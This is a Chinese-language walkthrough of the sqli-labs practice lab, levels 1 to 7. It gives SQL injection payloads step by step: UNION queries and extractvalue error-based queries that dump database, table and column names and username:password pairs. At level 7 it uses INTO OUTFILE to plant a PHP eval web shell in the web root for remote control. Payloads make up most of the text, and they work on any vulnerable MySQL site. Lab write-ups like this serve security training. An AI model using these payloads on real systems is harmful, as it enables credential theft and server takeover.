less-1
判断注入点
根据提示在url中添加?id=1 ——注意此处输入的都是英文符号
当然2也可以,这里只是为了传递一个参数,从而输出一个登陆结果
我们知道了登陆成功的页面之后,现在就要尝试他对于一段代码的闭合方式的猜测(这里有“‘单引号”,“”双引号”,“)括号”,以及他们的组合方式)
现在我们尝试一下单引号,出现报错,说明可能与他有关
然后构造一个永真式判断是否为单引号(and 1=1)
对其进行将闭合后的后面的代码进行注释,发现可以进来
‘print(我很帅)’--+’
这个意思就是人为加上闭合,让其成为完整的一句话,然后将后面的当做注释,从而达到将我们需要用到的查询语句逃出他们的语句
判断列数
使用order by,从1开始逐渐递增,报错时停止。当然也可以从大到小,使用二分法判断,不过一般没有必要,没有太多的列数
我们发现到4的时候报错,说明列数为3
判断数据显示位置
这个时候使用?id=0' union select 1,2,3--+将显示位置爆出
id=0是为了让参数不再显示,而显示查询的数字
sql语句查询
查找当前使用的数据库的名称
127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
查询所有库名
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema="数据库名" limit 0,1),3--+
单独爆出表名,将limit后的0改变即可输出下一个,步长限制为1
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),3--+
爆出全部表名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="表名" and table_schema="数据库名"),3--+
查询表中的列名
?id=-1' union select 1,(select concat(username,0x3a,password)from 表名 limit 0,1),3 --+
查询username和password (limit函数限制输出个数)
?id=-1' union select 1,(select group_concat(username,0x3a,password)from 表名),3 --+
一次性全部查询(group_concat函数)
less-2联合查询[ ]
less-3 联合查询[ ') ]
less-4联合查询[ ") ]
less-5报错注入[ ’ ]
?id=-1'and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
当前数据库
?id=-1'and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+
爆出一个数据库
?id=-1'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
从当前数据库里爆出一个表名
?id=-1'and extractvalue(1,concat(0x7e,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ),0x7e)) --+
从当前数据库里的" users "表里爆出一个字段名来
?id=-1'and extractvalue(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e)) --+
从" users "表里对应的列名中爆出一个数据来
less-6报错注入[ " ] 同less-5
less-7导出文件字符型注入
根据提示‘use outfile’,需要向服务器写入文件
MySql 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看
show variables like '%secure%';
通过修改 MySQL 下的 my.ini 配置文件就可以启用权限,需要把下面这个字符串写入文件中,保存文件,然后重启服务
secure_file_priv="/"
127.0.0.1/sqli-labs-master/Less-7/?id=1'))
判断闭合
我们需要先知道网页所在的文件路径,从 Less 7 是没办法得知的,所以我们转去 Less 1 获取文件路径。这种操作也可以应用在实践中,可以同时利用同一 Web 中的多个注入点
?id=0' UNION SELECT 1,@@basedir,@@datadir --+
使用 UNION 联合查询来注入参数,使用 into outfile 在网页目录下写入一句话木马。注意此处存在转义的问题,所有的 “\” 都要双写
?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["attack"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\shell.php"--+
传上去后用菜刀或者蚁剑等连接